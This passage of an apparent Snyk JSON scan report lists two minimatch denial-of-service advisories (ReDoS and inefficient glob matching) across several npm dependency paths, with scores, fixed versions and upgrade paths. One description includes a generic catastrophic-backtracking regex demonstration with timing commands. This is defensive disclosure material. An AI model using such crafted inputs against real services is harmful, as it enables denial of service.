9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS 